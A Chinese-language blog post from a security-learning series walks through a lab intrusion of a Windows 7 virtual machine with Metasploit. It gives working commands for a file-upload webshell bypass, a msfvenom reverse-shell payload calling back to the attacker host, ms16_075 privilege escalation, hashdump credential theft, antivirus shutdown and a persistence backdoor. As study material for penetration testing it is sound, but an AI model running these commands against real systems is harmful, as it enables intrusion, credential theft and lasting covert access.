MSF(1)——一次完整的渗透流程

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)

介绍

Metasploit(简称msf)框架是一个开源的,旨在方便地进行渗透测试的框架,由Ruby语言编写而成,具有很好地拓展性,便于渗透测试人员开发,使用定制的工具模板。

Kali Linux自带了Metasploit,在控制台输入msfconsole,启动msf
MSF(1)——一次完整的渗透流程_第1张图片
kali中自带的msf版本是5,可自行升级。

笔者的话:本来我是不想写msf框架的,因为我认为Web安全只需要拿到WebShell就达到了目标,但是在我经过了几次实战时候,我发现了msf的重要性,msf框架在漏洞扫描,后渗透等多个方面都非常优秀,因此有了这篇文章。

Metasploit基础

msf存在多个模块,在这里进行介绍

  1. Auxiliaries(辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行
扫描、嗅探、指纹识别等相关功能以辅助渗透测试
  1. Exploit(漏洞利用模块)
漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞
进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序
攻击,以及利用配置错误等,其中包含攻击者或渗透测试人员针对系统
中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,
每个漏洞都有相应的攻击代码。
  1. Payload(攻击载荷模块)
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,
成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,
在Metasploit框架中可以自由地选择、传送和植入。攻击载荷也可能
是简单地在目标操作系统系统上执行一些命令,如添加用户账号等。
  1. Post(后渗透模块)
该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透
攻击动作,如获取敏感信息、实施跳板攻击等。
  1. Encoders(编码工具模块)
该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、
IDS及类似的安全软件检测出。

我将通过一个完整的渗透测试来进行msf框架的初步讲解,这是我在一次实战中的操作,我用虚拟机进行了简单的模拟。

攻击机(Kali):192.168.157.131
目标机(Win7 x64):192.168.157.128

实战

访问目标机,看见一个文件上传点。
MSF(1)——一次完整的渗透流程_第2张图片
尝试上传WebShell,提示 “不正确的文件类型”
MSF(1)——一次完整的渗透流程_第3张图片
使用bp抓包,上传图片马,提示保存成功
MSF(1)——一次完整的渗透流程_第4张图片
把后缀改为php,成功上传
MSF(1)——一次完整的渗透流程_第5张图片
蚁剑访问,成功获取WebShell
MSF(1)——一次完整的渗透流程_第6张图片
使用whoami指令查看当前权限
在这里插入图片描述
在Kali中输入以下指令生成一个msf的木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.157.131 lport=4444 -f exe > shell.exe

其中, windows/meterpreter/reverse_tcp 是msf将要使用的 payloadlhost 是攻击机的ip地址,lport 是攻击机将要监听的端口。

通过这个语句,生成一个exe的木马
在这里插入图片描述
接下来将木马上传到被攻击的服务器上
MSF(1)——一次完整的渗透流程_第7张图片
在kali下输入msfconsole进入msf的控制台
输入:use exploit/multi/handler进入远程控制模块
输入:set payload windows/meterpreter/reverse_tcp使用Windows tcp远程反弹Payload
在这里插入图片描述
输入options查看该模块的参数
MSF(1)——一次完整的渗透流程_第8张图片
其中 LHOST 是生成木马时填写的 lhostLPORT 是生成木马时填写的 lport

输入:set LHOST 192.168.157.131来设置攻击机ip地址
输入:set LPORT 4444来设置攻击机监听端口
在这里插入图片描述
可以通过options查看当前参数
MSF(1)——一次完整的渗透流程_第9张图片
参数中Require的值为Yes的参数是必填项

接下来,输入runexploit开始监听
在这里插入图片描述

同时,在蚁剑中,进入控制台,输入shell.exe运行我们先前上传的木马程序
在这里插入图片描述
此时可以看到,在msf中收到了响应,反弹了一个Meterpreter的shell
在这里插入图片描述
Meterpreter中输入help查看帮助信息,在这里简单讲解一些指令

Meterpreter

Meterpreter常用指令
指令 介绍
migrate 进程迁徙。可以通过“migrate pid”来迁徙到其他进程中。其中,pid是被迁徙的进程id。(注:只有Windows可用)
getuid 获取当前权限
getpid 获取当前进程id
sysinfo 返回系统信息
getsystem 直接提升到最高权限(一般成功不了)
run killav 关闭杀毒软件。在取得Meterpreter shell后最好最先执行该语句
shell 进入目标机shell,输入“exit”退回到Meterpreter
pwd或getwd 查看当前处于目标机的哪个目录
ls 列出当前目录下的所有文件
cd 切换目录
search 在目标机中搜索文件。例如输入“search -f *.txt -d C:/”搜索C盘中所有后缀为txt的文件
upload 上传文件。例如输入“upload 1.txt C:/1.txt”将攻击机目录下的1.txt上传到目标机的C盘
download 下载文件。例如输入“download C:/1.txt 1.txt”将目标机C盘下的1.txt下载到攻击机上

提权

输入getuid查看当前权限,发现是manlu权限
在这里插入图片描述
输入shell进入目标机shell,输入systeminfo查看系统详细信息,包括但不限于系统补丁信息
MSF(1)——一次完整的渗透流程_第10张图片
MSF(1)——一次完整的渗透流程_第11张图片
接下来要在补丁中查找那些没有打的补丁,并且去网上找相关的exp进行提权

在这里我使用ms16_075 (KB3164038) 漏洞进行提权

回到meterpreter shell,输入background将当前shell转为后台执行,可以输入sessions查看目前已建立的session
MSF(1)——一次完整的渗透流程_第12张图片
接下来输入search ms16_075寻找相应的exp
MSF(1)——一次完整的渗透流程_第13张图片
可以看到,名为exploit/windows/local/ms16_075_reflection_juicy的exp评价是great,在这里就使用该exp进行提权

输入:use exploit/windows/local/ms16_075_reflection_juicyuse 1来选取要使用的exp
在这里插入图片描述
输入options查看该exp参数
MSF(1)——一次完整的渗透流程_第14张图片
只有一个参数SESSION需要填写

输入sessions查看建立的连接,找到需要提权的session,通过SET指定SESSION
MSF(1)——一次完整的渗透流程_第15张图片
接下来输入run执行即可

如果提权成功,会重新返回一个Meterpreter shell
MSF(1)——一次完整的渗透流程_第16张图片
此时再输入getuid查看权限,发现我们已经是system
在这里插入图片描述

抓取密码

在这里简单讲一下密码的抓取,具体的密码抓取会在之后详细讲解

在Meterpreter shell中输入run windows/gather/hashdump导出密码
MSF(1)——一次完整的渗透流程_第17张图片
得到密码的格式是类似这样的

UserName:500:xxxx:xxxx

其中第一个是用户名,第二个数字代表权限,500表示是管理员权限,后面两个加密的内容是密码,其中第二个加密的内容就是用户密码

例如,我想获取用户manlu的密码,我将密文复制

32ed87bdb5fdc5e9cba88547376818d4

接下来在网上解密
MSF(1)——一次完整的渗透流程_第18张图片
得到用户manlu的明文密码为123456

注:抓取密码需要SYSTEM权限

权限维持

我们通过持久化后门来进行权限维持

Persistence是一款使用安装自启动方式的持久性后门程序,可以利用它创建注册和文件。

输入run persistence -h查看所有的命令选项

MSF(1)——一次完整的渗透流程_第19张图片
输入指令:

run persistence -A -S -U -i 10 -p 1234 -r 192.168.157.131

语法解释:

  • A:自动启动Payload程序
  • S:系统启动时自动加载
  • U:用户登录时自动启动
  • X:开机时自动加载
  • i:回连的时间间隔
  • P:监听的反向链接端口号
  • r:攻击机IP地址

在这个语句中,我设置每隔10秒钟回连一次,这样目标机就会每隔10秒连接一次攻击机。

可以看到,在输入指令后,提示在目标机上新建了一个vbs文件并创建了一个服务。
MSF(1)——一次完整的渗透流程_第20张图片
此时我们重新打开一个msf终端,设置
payload:

windows/meterpreter/reverse_tcp

lhost:

192.168.157.131

lport:

1234

等待10秒,就可以收到目标机的连接
MSF(1)——一次完整的渗透流程_第21张图片
这样成功创建了持久化后门

结语

这篇文章并不是正式的教程,只是为了写一下使用Metasploit框架渗透的基本流程,同时写出msf框架的强大之处。在之后的文章,会详细写Metasploit框架的操作。

你可能感兴趣的:(安全,安全,linux,msf)